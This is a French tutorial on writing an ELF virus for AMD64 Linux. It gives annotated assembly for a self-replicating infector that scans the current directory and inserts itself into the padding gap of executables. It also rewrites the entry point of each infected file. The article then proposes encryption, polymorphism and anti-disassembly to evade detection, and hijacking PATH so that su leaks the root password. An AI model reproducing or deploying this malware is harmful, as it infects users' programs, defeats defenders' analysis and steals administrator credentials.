opcode src, dest
Le paquet binutils contient les programmes de base pour développer sous GNU/Linux. On y retrouve as, l'assembleur du projet GNU, ld le lieur, objdump qui permet, entre autres, de déassembler ou bien readelf qui donne des informations sur un fichier ELF.
D'autres outils vous seront très utiles, parmi eux figure le légendaire GNU Emacs, l'éditeur extensible du projet GNU, ainsi que gdb, un merveilleux débogueur. Tous ces outils sont libres et bien documentés (man et info sont là pour vous).
L'assembleur sous GNU/Linux est principalement utilisé avec la syntaxe AT&T par défaut avec as, en bref :
opcode src, dest
Pour générer un exécutable à partir d'un fichier assembleur, vous devez d'abord l'assembler avec as puis le lier, éventuellement avec d'autres objets, avec `ld` :
as -o simple.o simple.S ld -o simple simple.o
Les appels systèmes sous GNU/Linux sont définis dans les fichiers /usr/include/asm-*/unistd.h selon l'architecture de la machine. Vous y trouverez les numéros des différents appels systèmes supportés pour une architecture donnée (définis avec des macros __NR_nom_de_l_appel) ainsi qu'un moyen d'effectuer ces appels (les macros _syscallX où X correspond aux nombre de paramètres de l'appel.
À titre d'exemple, voilà un petit programme assembleur pour AMD64 qui se contente d'utiliser l'appel système exit pour quitter proprement.
.text .globl _start
_start:
xorl %edi, %edi
movl $0x3c, %eax
syscall
On remet à zéro le registre %edi car c'est lui qui contient le premier argument d'un appel système sous AMD64 et on indique le code d'état 0, pour un programme qui s'est terminé normalement. 0x3c (60 en base 10) est le numéro de l'appel système pour exit. On passe enfin la main au noyau avec l'instruction syscall.
L'ordre d'utilisation des arguments est : %rdi, %rsi, %rdx, %r10, %r8 et %r9. Les registres %rax, %r11 et %rcx sont modifiés par un appel système : %rax qui contenait le numéro de l'appel système contient le code de retour, les deux autres sont utilisés par le noyau (et le CPU) pour revenir au programme.
Tous les appels systèmes sont bien bien documentés, par exemple dans les pages de manuel du programme man. La liste des appels systèmes varie quelque peu en fonction des architectures.
Le format standard des exécutables sous GNU/Linux est ELF (Executable and Linking Format). Une page de manuel lui est dédié : man 5 elf, vous pouvez aussi consulter le fichier /usr/include/elf.h.
En résumé de ces documents, un fichier ELF est consititué d'un en-tête ELF, au tout début, d'au moins un des en-têtes de section et de programme, ainsi que de sections. Les en-têtes de section et de programme peuvent eux être placé n'importe où en mémoire, leur adresse étant référencée dans l'en-tête ELF du début de fichier.
|
Note
|
Pourquoi les segments sont ils alignés ?
La mémoire des machines actuelles, en particulier celle de l'IA 32 ou de l'AMD 64, est découpée en pages de taille fixe (4Ko pour les plus petites mais il existe des superpages de 2Mo ou 4Mo selon l'architecture). Chacune de ces pages possèdes un jeu d'attributs, on y trouve classiquement R/W/X pour indiquer si la page peut être lue, si on peut y écrire ou si elle peut être exécuté (ce dernier champ n'existe pas sous les vieux IA-32). Ainsi, si on veut protéger le code pour ne pas risquer d'y écrire on mettra les pages qui le contiennent en read-only, pour les données, on mettra no-exec. Comme une page ne possède qu'un jeu d'attribut et que l'allocation mémoire se fait par pages (4Ko au minimum), on aura souvent de l'espace disponible en fin de page (et les pages de code et de données seront séparése). |
Les sections sont décrites dans l'en-tête des sections. Les sections peuvent former des segments (au sens de ELF) à charger en mémoire et décrits dans l'en-tête de programme. Bien souvent les segments doivent être alignés en mémoire, et laisse un certain espace-libre que les virus peuvent utiliser pour se loger. Les segments sont eux définits dans l'en-tête de programme.
Par exemple, sur ma machine, il y a très souvent un petit espace entre le segment de code et celui de données, cet espace est bien évidemment présent dans le mapping mémoire (puisque le code et les données sont sur des pages physiques différentes) mais aussi parfois dans le fichier ELF, c'est là que notre virus va se loger.
$ readelf -lW /bin/gunzip
Elf file type is EXEC (Executable file) Entry point 0x401390
Program Headers: Type Offset VirtAddr MemSiz Flags LOAD 0x000000 0x0000000000400000 0x00c3cc R E LOAD 0x00d000 0x000000000050d000 0x051c70 RW
Certaines informations ont étés volontairement supprimmées.
Comme vous pouvez le constater, l'espace entre 0xc3cc et 0xd000 est inutilisé dans le fichier (en fait il pourrait y avoir des données d'une *section* mais ce n'est pas le cas pour des programmes normaux). Cela fait plus de 3 kilo-octets d'exploitable. hexdump peut nous le confirmer :
$ hexdump /bin/gunzip ... 000c3c0 8318 4e03 200e 0000 0000 0000 0000 0000 000c3d0 0000 0000 0000 0000 0000 0000 0000 0000 * 000d000 ffff ffff ffff ffff 0000 0000 0000 0000 ...
C'est donc à cet endroit que nous allons mettre notre code, la section étant exécutable. Nous allons simplement l'ajouter, modifier la taille du segment à charger dans l'en-tête de programme, et modifier le point d'entrée de façon à ce que la première instruction exécutée soit notre virus.
Il existe d'autres stratégies, comme par exemple rajouter notre code en fin de fichier (ou au début), mais notre article utilise celle-là. Faites tourner votre imagination !
Notre virus a besoin d'un premier hôte à partir duquel il pourra infecter d'autres programmes. Cet hôte fera partie intégrante de notre code et le virus lui donne la main après son exécution. Un squelette de notre code va donc être :
.text .globl _start, old_start
/* The host */
old_start:
movl $1, %edi
movl $0x3c, %eax
syscall
/* The virus */ _start:
/* Virus code */
/* Jump to the host */ jmp old_start
Voilà donc le chemin que nous allons parcourir :
sauvegarde de l'environnement ;
recherche d'un nouvel hôte à infecter ;
ouverture de la victime ;
mapping en mémoire (avec mmap) ;
recherche d'un trou ;
ajout du code viral ;
modification des en-têtes ;
chargement de l'environnement initial ;
saut au code de l'hôte.
Nous allons nous contenter de contaminer les exécutables du répertoire courant. Pour cela, nous allons simplement utiliser les différents appels systèmes à notre disposition. Les différentes étapes sont les suivantes :
ouverture du répertoire courant (open ()) ;
allocation d'un buffer pour contenir les entrées du répertoire (mmap ()) ;
lecture des entrées (getdents () ).
Une fois ces étapes effectuées, nous pouvons simplement parcourir la liste des noms de fichier et tenter de les infecter.
/* Open the current directory */
/* [r15 = open (".", O_RDONLY | O_DIRECTORY)]*/
leaq cwd(%rip), %rdi
movl $0x10000, %esi
movl $0x2, %eax
syscall
orq %rax, %rax
js restore_env
movq %rax, %r15
Ce code se contente d'ouvrir, comme indiqué dans le commentaire, le répertoire courant et place le descripteur de fichier dans le registre %r15. La chaîne de caractère ".\0" se trouve au label cwd. Pour y accéder de façon relative, puisque notre code va pouvoir être n'importe où en mémoire, on utilise l'adressage relatif à %rip. Cette spécificité des processeurs AMD64 permet d'éviter d'utiliser un registre (par rapport au IA32).
/* Allocate a buffer for getdents() with mmap() */
/* [r14 = mmap (NULL, DEFAULT_PAGE_SIZE,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0) ] */
xorl %edi, %edi
movl $0x1000, %esi
movl $0x3, %edx
movl $0x22, %r10d
xorl %r8d, %r8d
xorl %r9d, %r9d
movl $0x9, %eax
syscall
orq %rax, %rax
js close_cwd
movq %rax, %r14
/* Read the dir entries and store their total size */
/* [r12 = getdents (r15, r14, DEFAULT_PAGE_SIZE)] */
movq %r15, %rdi
movl %esi, %edx
movq %r14, %rsi
movl $0x4e, %eax
syscall
orq %rax, %rax
js unmap_cwd
add %r14, %rax
movq %rax, %r12
/* For each entry */
movq %r14, %r13
/* %rsi = %r13->d_name */
entry: movl $0x1, %edi
movq %r13, %rsi
addq $0x12, %rsi
/*** DO SOMETHING WITH THE ENTRY IN %rsi ***/
/* Jump to the next entry */
xorl %eax, %eax
movw 16(%r13), %ax
addq %rax, %r13
cmpq %r12, %r13
jl entry
Dans cet exemple, on parcourt le répertoire en plaçant son nom (l'adresse de la chaîne de caractère) dans le registre %rsi à chaque itération. La boucle se termine lorsque l'adresse de l'entrée suivante dépasse l'adresse du buffer allouée + la taille totale des entrées (retournée par getdents ()).
Le buffer doit aussi être désalloué (ce qui se fait au label unmap_cwd:) et le descripteur de fichier du répertoire courant fermé (au label close_cwd:). Le label restore_env: correspond à la fin du programme (appelé si le répertoire courant n'a pu être ouvert). Ces bouts de code n'ont pas été inclus dans l'article pour ne pas trop l'alourdir.
On doit à présent vérifier si le fichier peut être modifié, s'il est exécutable et s'il s'agit d'un fichier ELF 64 bits (puisque les AMD64 peuvent aussi faire tourner du code 32 bits en mode compatibilité).
La première étape consiste à ouvrir le fichier dont le nom figure dans l'entrée du répertoire. Si l'ouverture réussit, alors on est déjà au moins sûr d'avoir accès en lecture et écriture au fichier. Sinon on saute à l'entrée suivante.
/* [r9 = open (%rsi, O_RDWR) ] */ movq %r9, %rdi movl $0x2, %esi movl $0x2, %eax syscall orq %rax, %rax js next_entry movq %rax, %r9
On vérifie ensuite que le fichier est exécutable par un appel à fstat (). Faisant d'une pierre deux coups, cette fonction nous donne aussi la taille du fichier (que l'on réutilisera avec mmap ()). La structure qui va recevoir les informations est stockée dans la pile. Donc il faut lui avoir auparavant réservé de la mémoire :
/* The virus */
_start:
/* Save the environment */
pushq %rbp
movq %rsp, %rbp
/* Local variables */
subq $0x90, %rsp
...
/* [ fstat (%r9, %ebp - 0x90)] */
movq %r9, %rdi
movq %rbp, %rsi
subq $0x90, %rsi
movl $0x5, %eax
syscall
orq %rax, %rax
js close_entry
/* Check file type (regular and u+rwx) */
movl $0x81c0, %eax
movq %rbp, %rbx
movl -0x78(%rbx), %ecx
andl %eax, %ecx
cmpl %eax, %ecx
jne close_entry
Il ne nous reste plus qu'à mapper le fichier en mémoire pour en faciliter l'accès. Comme d'habitude le code de désallocation, fermeture, … n'est pas specifié.
/* Map the file to memory */
/* [%r8 = mmap (0, (%ebp - 0x90)->st_size, PROT_READ | PROT_WRITE,
MAP_SHARED, %r9, 0) ] */
xorl %edi, %edi
movq -0x60(%rbp), %rsi
movl $0x3, %edx
movl $0x1, %r10d
movq %r9, %r8
xorl %r9d, %r9d
movl $0x9, %eax
syscall
orq %rax, %rax
movq %r8, %r9
js close_entry
movq %rax, %r8
Les vérifications deviennent alors vraiment très simple. On vérifie que l'on a bien à faire à un fichier ELF (ils débutent tous par la suite magique \177ELF) et qu'il est en 64bits.
/* Check we have and ELF file */ movl (%r8), %eax cmpl $0x464c457f, %eax jne unmap_entry
/* Check the ELF is 64bits */ movb 4(%r8), %al cmpb $0x2, %al jne unmap_entry
On va ensuite parcourir la liste de tous les segments de programme du fichier ELF jusqu'à trouver le premier segment exécutable (le segment de code). L'adresse de la table des segments (table d'en-tête de programme) peut être trouvée dans l'en-tête ELF, à l'offset 0x20. Sa taille est disponible à l'offset 0x38.
/* Put the first segment entry in %r10 */
movq %r8, %r10
addq 0x20(%r8), %r10
/* Put the segment entries limit in %r11 */
/* [%r11 = %r8->e_phoff + %r8->e_phentsize * sizeof (Elf64_Phdr) ] */
xorl %r11d, %r11d
movw 0x38(%r8), %r11w
movl %r11d, %eax
shlq $0x6, %r11
shlq $0x3, %rax
subq %rax, %r11
addq %r8, %r11
/* For each program header entry */
phdr_entry:
...
/* Next header entry */
next_phdr_entry:
addq $0x38, %r10
cmpq %r11, %r10
jl phdr_entry
On effectue ensuite quelques vérifications pour savoir si on est bien dans le segment de code.
phdr_entry:
/* Check if the segment will be loaded */
/* [%r10->p_type == PT_LOAD] */
movl (%r10), %eax
decl %eax
jnz next_phdr_entry
/* Check if the segment is executable */ /* [%r10->p_flags & PF_X] */ movl 4(%r10), %ebx incl %eax andl %ebx, %eax jz next_phdr_entry
La prochaine vérification permet de savoir si la place disponible entre le segment de code et le segment de donnée est plus grosse que la taille du virus. FIXME: La vérification de l'espace en mémoire virtuelle est peut-être inutile.
/* Virus size */
/* [%rsi = (cwd - _start + 2)] */
movq $(cwd - _start + 2), %rsi
/* Next program header entry */
/* [%rdi = %r10 + sizeof (Elf64_Phdr)] */
movq %r10, %rdi
addq $0x38, %rdi
/* Verify the file hole size */
/* [%rbx = %rdi->p_offset - (%r10->p_offset + %r10->p_memsz)] */
movq 0x8(%rdi), %rbx
movq 0x8(%r10), %rax
subq %rax, %rbx
movq 0x28(%r10), %rax /* Could be avoided */
subq %rax, %rbx
cmpq %rsi, %rbx
jl next_phdr_entry
/* Verify the virtual memory hole size */
/* [%rbx = %rdi->p_vaddr - (%r10->p_vaddr + %r10->p_memsz)] */
movq 0x10(%rdi), %rbx
movq 0x10(%r10), %rax
subq %rax, %rbx
movq 0x28(%r10), %rax
subq %rax, %rbx
cmpq %rsi, %rbx
jl next_phdr_entry
On passe enfin à la réplication proprement dite qui va copier le code du virus, modifier le point d'entrée du programme et aggrandir la taille du segment de code à charger en mémoire.
/* -!- Replication -!- */
movq %rsi, %rcx
leaq _start(%rip), %rsi
movq 0x8(%r10), %rdi
addq %r8, %rdi
movq 0x28(%r10), %rax
addq %rax, %rdi
rep movsb
/* Modify the program entry point */
movq 0x10(%r10), %rax
addq 0x28(%r10), %rax
movq 0x18(%r8), %rbx
movq %rax, 0x18(%r8)
/* Patch the jump to the host */
lea jmp_to_host(%rip), %rax
subq $_start, %rax
addq 0x8(%r10), %rax
addq 0x28(%r10), %rax
addq %r8, %rax
movl %ebx, 3(%rax)
/* Modify the entry size */
movq $(cwd - _start + 2), %rax
addq 0x28(%r10), %rax
movq %rax, 0x28(%r10)
/* Ok with this file, switch to the next */
jmp unmap_entry
/* Next header entry */
next_phdr_entry:
...
/* Jump to the host */
jmp_to_host:
movq $old_start, %rax
jmpq *%rax
cwd: .ascii ".\0"
Une autre action effectuée consiste à patcher le saut vers le code originel. Pour cela on place l'adresse du label old_start dans le registre %eax
Notre virus est actuellement très simplement détectable, une simple recherche sur une de ses chaînes caractéristiques permet de le trouver. Pour améliorer la situation, nous pouvons utiliser une petite routine de cryptage (en modifiant évidemment la clé à chaque fois) voire un moteur polymorphique.
De plus, n'importe qui peut facilement analyser le virus en désassemblant un programme infecté. Il est très simple d'empêcher le virus d'agir en ayant son code sous les yeux, pour l'empêcher, nous devons utiliser des techniques anti-debugging/anti-désassemblage. Nous énumérons ici les plus basiques d'entre elles.
La commande objdump utilise les en-tête de section pour désassambler un programme. Modifier cette table n'empêche pas l'exécution du programme (puisque son chargement utilise la table de programme qui décrit les différents segments) et permet d'empêcher un désasemblage simple.
Si vous rajoutez des labels aléatoires et inutiles au milieu du flux d'instructions, objdump ne sera plus en mesure de déssambler correctement. L'exemple suivant illustre un exemple de ce qui est possible en sautant au mileu d'une instruction. À utiliser en modifiant l'octet de façon à rendre le reste du code désassemblé le plus différent possible de l'original.
leaq _notng(%rip), %rax
incq %rax
jmpq *%rax
_notng: .byte 0xb8
Vous pouvez aussi utiliser plusieurs octets, par exemple le prefixe REX et réutiliser le code au différents point vitaux à masquer dans votre programme. Une suggestion du FAT gourou est d'en placer un juste avant une instruction du genre incq %rax pour faire subtilement tout merder par la suite :)
L'un des principaux problèmes des virus sous GNU/Linux est qu'ils doivent être exécuté en tant qu'administrateur pour avoir un réel effet. Cela étant du au fait que seul l'administrateur à le droit de modifier (et donc d'infecter) les programmes classiques (dans /bin ou /usr/bin). Un simple utilisateur ne pouvant modifier que les fichiers lui appartenant.
Vous allez donc devoir trouver un moyen d'infecter les autres programmes du système. Si vous êtes déjà root (je pense à la distribution Linspire) c'est gagné. Sinon vous devrez profiter d'une faille dans le système (mais là bôf pour la généricité du virus) ou bien user d'un peu de malice. Vous pouvez par exemple modifier la variable PATH de l'utilisateur pour que su appelle le virus et ainsi récupérer le mot de passe administrateur. Notez que certaines distributions et certains utilisateur laissent un accès root sans mot de passe avec sudo, par exemple en autorisant toutes les commandes sans mot de passe !
Cet article n'a fait qu'effleurer les bases du vxing sous GNU/Linux. À vous de vous approprier le code présenté, de le modifier, de l'améliorer. La méthode d'infection, qui aggrandit une section dans le fichier sans modifier la taille totale, ne peut être appliquée que pour certains fichiers (à peu près 1/4 des programmes ELF de mon répertoire /bin). De plus le virus ici présenté peut très simplement être détecté et analysé.
Unix Viruses, Silvio Cesare
Unix ELF Parasites and virus, Silvio Cesare, October 1998